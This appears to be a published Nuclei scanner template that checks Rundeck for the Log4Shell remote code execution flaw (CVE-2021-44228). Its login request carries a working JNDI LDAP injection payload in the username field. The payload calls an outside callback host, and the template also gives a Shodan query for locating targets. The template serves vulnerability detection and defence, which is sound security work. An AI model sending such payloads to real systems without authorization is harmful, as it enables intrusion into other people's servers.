Rundeck is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
PoC代码[已公开]
id: rundeck-log4j-rce
info:
name: Rundeck - Remote Code Execution (Apache Log4j)
author: DhiyaneshDK
severity: critical
description: Rundeck is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
reference:
- https://docs.rundeck.com/docs/history/CVEs/log4j.html
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-77
cpe: cpe:2.3:a:pagerduty:rundeck:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: title:"Rundeck"
product: rundeck
vendor: pagerduty
tags: cve,cve2021,rce,jndi,log4j,rundeck,kev,oast,vuln
variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
http:
- raw:
- |
POST /j_security_check HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Origin: {{BaseURL}}
Connection: close
Referer: {{BaseURL}}/user/login
j_username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.postdata.{{interactsh-url}}}&j_password=admin
matchers-condition: and
matchers:
- type: word
part: location
words:
- '{{BaseURL}}/user/error'
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
extractors:
- type: kval
kval:
- interactsh_ip
- type: regex
part: interactsh_request
group: 2
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
- type: regex
part: interactsh_request
group: 1
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a00473045022100bb89e972f32d7fc9309fc8241f6de7dff830aab3c29126ab111e13b9ae4f25fc022064f1526f003d02df16f9f0a16e8d8e3075c4fda50d2a73931529b13514322d0a:922c64590222798bb761d5b6d8e72950